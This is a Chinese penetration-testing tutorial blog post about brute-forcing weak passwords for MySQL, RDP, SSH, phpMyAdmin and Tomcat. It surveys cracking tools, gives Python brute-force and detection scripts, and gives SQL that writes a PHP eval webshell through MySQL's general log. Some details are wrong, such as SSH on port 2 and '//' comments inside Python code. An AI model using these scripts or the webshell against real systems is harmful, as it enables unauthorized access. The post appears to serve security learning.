渗透测试学习23:弱口令进阶

字典生成工具

字典收集

可以收集一些别的师傅的(github找),自己在渗透实战后也应该总结字典。

常见弱口令工具

  • Hydra(九头蛇)
    kali默认安装。
    使用方法:https://www.jianshu.com/p/4da49f179cee
    弊端:不好使,暴破时遇到成功的好像是不会停⽌的;如果密码字典较⼤,那么暴破的速度就会很慢。
    优点:⽀持的服务多,可在其他⼯具⽆果的时候暴破小的字典,通常可以把已抓到的密码⽤于碰撞。
    适⽤场景:已经获取到⼀批密码,需要测试这些密码是否能登陆其他机器,或者暴破较小的字典
  • Medusa(美杜莎)
    kali默认安装
    使用方法:https://blog.csdn.net/smli_ng/article/details/106096017
    优点:比Hydra快
    缺点:支持的协议少,不支持windows
    适用场景:与Hydra相同。
  • Metasploit Framework(MSF)
    kali默认安装,弱口令只是其中一个模块。
    使用方法就不说了,这个有点多。
    优点:⽀持的协议多;准确率⾼;成功的可以存⼊数据库;⽀持CIDR,⽀持导⼊⽂件,⽀持多个IP同时输⼊,⽀持IP段。
    缺点:难上手,不支持windows
    适用场景:已经获取到⼀批密码,需要测试这些密码是否能登陆其他机器。 暴破⼀般的字典,几十MB的字典也能承受。与目标网络的通信较好的情况。
  • 超级弱口令检查⼯具
    正如名字一样简单粗暴,国人开发的弱口令工具。
    地址:https://github.com/shack2/SNETCracker
    优点:易于上手
    缺点:可能不太准
    适用场景:⼤密码,小密码都可以操作。适⽤于外网的暴破及较好网络下的内⽹暴破。
  • Ladon
    这是内网渗透工具,有爆破功能,支持多种协议。
    地址:https://github.com/k8gege/Ladon/wiki
    优点:小巧,⾼速,可内存加载,可扩展;
    缺点:⾃定义密码的时候较为⿇烦
    适⽤场景 :外⽹的快速探测 ,或者内⽹内存加载后⾼速爆破【⽆⽂件,免杀】。

爆破MySQL

有时信息收集时可以得到mysql路径(mysql默认端口3306),于是我么可以尝试爆破得到mysql管理账号密码。
爆破工具:

  • linux下可以用Hydra(九头蛇)和Medusa(美杜莎)。
  • windows下可以使用Ladon。

爆破得到密码后可以尝试写shell,提权等操作。
写shell:有绝对路径并且有写权限时可以直接写入;也可以尝试日志写入。

  • 直接写入:有绝对路径并且有写权限
  • 日志写入:
    general log 指的是日志保存状态,要ON(打开);general log file 指的是日志的保存路径。
    利用思路:开启general_log之后把general_log_file的值修改为该网站默认路径下的某一个自定义的php文件中,然后通过log日志进行写入一句话木马,然后再进一步利用。
    例子代码:
set global general_log = "ON";
set global general_log_file='C:/wamp64/www/ma.php';
//之后再写入一句话木马
select <?php eval($_POST[cmd]);?>

提权将在内网篇中详讲。

RDP(远程桌面)爆破

有时信息收集时可以得到RDP路径(RDP默认端口3389),于是我么可以尝试爆破RDP尝试获取远程桌面账号密码。
不过一般不使用爆破RDP,原因:速度慢,动作大,易被反查。这里我们只是说一种思路。

SSH(安全远程登录协议)爆破

有时信息收集时可以得到SSH路径(SSH默认端口2),于是我么可以尝试爆破SSH尝试获取远程登录账号密码。
这里也是用上面那几个介绍的工具。

PHPmyadmin爆破

具体的使用可以看各类实战性点之基于PHPmyadmin
这里只介绍爆破账号和密码。

传统的使用burpsuite是不行了的,因为每次请求的token是⼀样的话,结果也会每次都⼀样的,所以我们可以自己编写爆破脚本。

python脚本编写

判断一个网址是否有phpmyadmin后台(关键字判断法):
网页中存在如下关键字即可判断存在phpmyadmin后台

欢迎使用 <bdo dir="ltr" xml:lang="en">phpMyAdmin </b
title="phpMyAdmin 文档
Documentation.html

判断代码

def run(url):
    try://异常处理之执行如下代码
        r = requests.get(url,timeout=20)//get方法请求url
        print('{} : {}'.format(r.url,r.status_code))//打印url和状态码
        if b'Documentation.html' in r.content://如果特殊语句存在在响应包中
             print('网址:{} 发现PHPMYADMIN后台地址'.format(url))
             with open('phpmyadmin_url.txt', 'a+')as a://以a+(读写)方式打开文件
                 a.write(r.url + '\n')//写入url+换行
     except://异常处理之发生异常的结果如下
        pass 
if __name__ == '__main__':
      run('http://127.0.0.1/phpmyadmin/index.php')//测试如下url

何判断是否登陆成功(关键字判断法):
登录成功响应包中有:

<p>phpMyAdmin 更适合在支持
<title>phpMyAdmin
mainFrameset

代码如下:

def scan(url,passwords):
    for password in passwords:
       data = {'pma_username': 'root', 'pma_password':password}
       #  组成发送的数据包
       try:
               r = requests.post(url,data=data)
               print(f'当前爆破用户名 root:{password}')
               # 发起请求,尝试登陆
               if b'mainFrameset' in r.content:
                  # 登陆成功后 ,页面会有 mainFrameset这个关键词
                   print('爆破成功')
                   with open('success.txt','a+')as a:
                       a.write(url+'|root|'+password+'\n')
                   return
       # 成功的会保存到目录的success.txt文本中
       # 然后return的功能是退出函数
   except:
        pass
if __name__ == '__main__':
    passwords = ['mysql','123456','root1234','root']
    scan('http://127.0.0.1/phpmyadmin/',passwords)

Tomcat(轻量级服务器)爆破

Tomcat 服务器是⼀个免费的开放源代码的Web 应⽤服务器中间件,属于轻量级应⽤服务器,在中小型系统和并发访问⽤⼾ 不是很多的场合下被普遍使⽤,是开发和调试JSP 程序的首选。Tomcat就是Apache的拓展。

验证方式:主要是基本验证(401验证)就是把账号密码进⾏base64编码后作为HTTP头中Authorization的值传⼊服务器进⾏解析认证

在渗透中的作用:
Tomcat存在后台(8080是Tomcat的默认端口),我们找到后可以尝试暴力破解账号和密码(默认账号和密码都是Tomcat)。

暴力破解:burpsuite
登录数据包含有:

Authorization: Basic dG9tY2F0OnRvbWNhdA==

dG9tY2F0OnRvbWNhdA==经过base64解密得到tomcat:tomcat即账号+:+密码的格式,所以我们在使用burp爆破时应选择Custom iterator,payload1选择账号,payload2选择:,payload3选择密码,之后再选择base64加密选项。

爆破上去之后如果权限够可以写webshell(默认最高权限)。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值